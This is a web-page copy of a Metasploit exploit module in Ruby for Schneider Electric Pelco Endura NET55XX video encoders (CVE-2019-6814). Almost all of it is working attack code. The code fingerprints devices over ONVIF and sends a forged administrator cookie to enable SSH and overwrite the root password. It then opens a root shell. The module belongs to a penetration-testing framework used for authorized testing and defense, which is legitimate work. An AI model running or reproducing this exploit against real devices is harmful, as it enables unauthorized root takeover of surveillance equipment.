CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Udp
10
include Msf::Exploit::Remote::HttpClient
11
include Msf::Auxiliary::Report
12
include Msf::Exploit::Remote::SSH
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Schneider Electric Pelco Endura NET55XX Encoder',
19
'Description' => %q{
20
This module exploits inadequate access controls within the webUI to enable
21
the SSH service and change the root password. This module has been tested successfully
22
on: NET5501, NET5501-I, NET5501-XT, NET5504, NET5500, NET5516, NET550 versions.
23
},
24
'License' => MSF_LICENSE,
25
'Author' => [
26
'Lucas Dinucci <[email protected]>',
27
'Vitor Esperança <[email protected]>'
28
],
29
'References' => [
30
['CVE', '2019-6814'],
31
['URL', 'https://www.schneider-electric.com/en/download/document/SEVD-2019-134-01/']
32
],
33
'Payload' => {
34
'Compat' => {
35
'PayloadType' => 'cmd_interact',
36
'ConnectionType' => 'find'
37
}
38
},
39
'Platform' => 'unix',
40
'Arch' => ARCH_CMD,
41
'Targets' => [ [ 'Universal', {} ] ],
42
'Privileged' => true,
43
'DisclosureDate' => '2019-01-25',
44
'DefaultTarget' => 0
45
)
46
)
47
48
register_options(
49
[
50
OptString.new('NEW_PASSWORD', [ true, 'New password to be set for the root account', Rex::Text.rand_text_alphanumeric(16)]),
51
OptInt.new('TIMEOUT', [ true, 'Timeout for the requests', 10])
52
]
53
)
54
55
register_advanced_options(
56
[
57
OptInt.new('UDP_PORT', [ true, 'UDP port for the ONVIF service', 3702]),
58
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
59
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
60
]
61
)
62
end
63
64
def new_password
65
datastore['NEW_PASSWORD']
66
end
67
68
def check
69
xmlPayload = '<?xml version="1.0" encoding="UTF-8"?>'\
70
'<Envelope xmlns="http://www.w3.org/2003/05/soap-envelope">'\
71
'<Header xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing">'\
72
'<a:Action mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/04/discovery/Probe</a:Action>'\
73
'<a:MessageID>uuid:f3d577a3-431f-4450-ab45-b480042b9c74</a:MessageID>'\
74
'<a:ReplyTo>'\
75
'<a:Address>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>'\
76
'</a:ReplyTo>'\
77
'<a:To mustUnderstand="1">urn:schemas-xmlsoap-org:ws:2005:04:discovery</a:To>'\
78
'</Header>'\
79
'<Body>'\
80
'<Probe xmlns="http://schemas.xmlsoap.org/ws/2005/04/discovery">'\
81
'<Types xmlns:dp0="http://www.onvif.org/ver10/network/wsdl">dp0:NetworkVideoTransmitter</Types>'\
82
'</Probe>'\
83
'</Body>'\
84
'</Envelope><?xml version="1.0" encoding="UTF-8"?>'
85
86
connect_udp(true, { 'RPORT' => datastore['UDP_PORT'] })
87
udp_sock.put(xmlPayload)
88
resp = []
89
resp << udp_sock.get(datastore['TIMEOUT'])
90
xmlResponse = resp.join(',')
91
disconnect_udp
92
if xmlResponse.include?('NET5501') || xmlResponse.include?('NET5501-I') || xmlResponse.include?('NET5501-XT') || xmlResponse.include?('NET5504') || xmlResponse.include?('NET5500') || xmlResponse.include?('NET5516') || xmlResponse.include?('NET5508')
93
return Exploit::CheckCode::Appears
94
end
95
96
CheckCode::Safe
97
end
98
99
def change_password
100
print_status("#{peer} - Attempt to change the root password...")
101
post = { enable: true, passwd: new_password, userid: 'root' }.to_json
102
103
login = send_request_cgi({
104
'method' => 'POST',
105
'uri' => normalize_uri(target_uri.path, '/cgi-bin/webra.fcgi?network/ssh'),
106
'data' => post,
107
'headers' =>
108
{
109
'Cookie' => 'live_onoff=0; userid=admin; grpid=ADMIN; permission=2147483647',
110
'Content-Type' => 'application/json;charset=utf-8'
111
}
112
}, timeout = datastore['TIMEOUT'])
113
114
fail_with(Failure::UnexpectedReply, 'Failed to change root password') unless login && login.code == 200
115
print_good("#{rhost}:80 - Successfully changed the root password...")
116
print_good("#{rhost}:80 - New credentials: User: root / Password: #{new_password}")
117
end
118
119
def do_login
120
change_password
121
print_status("#{rhost}:22 - Attempt to start a SSH connection...")
122
opts = ssh_client_defaults.merge({
123
auth_methods: ['password', 'keyboard-interactive'],
124
port: 22,
125
password: new_password
126
})
127
opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
128
begin
129
ssh = nil
130
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
131
ssh = Net::SSH.start(datastore['RHOST'], 'root', opts)
132
end
133
rescue Rex::ConnectionError
134
rescue Net::SSH::Disconnect, ::EOFError
135
print_error "#{rhost}:22 SSH - Disconnected during negotiation"
136
rescue ::Timeout::Error
137
print_error "#{rhost}:22 SSH - Timed out during negotiation"
138
rescue Net::SSH::AuthenticationFailed
139
print_error "#{rhost}:22 SSH - Failed authentication"
140
rescue Net::SSH::Exception => e
141
print_error "#{rhost}:22 SSH Error: #{e.class} : #{e.message}"
142
end
143
if ssh
144
conn = Net::SSH::CommandStream.new(ssh)
145
return conn
146
end
147
end
148
149
def exploit
150
conn = do_login
151
if conn
152
print_good("#{rhost}:22 - Session established ")
153
handler(conn.lsock)
154
end
155
end
156
end
157
158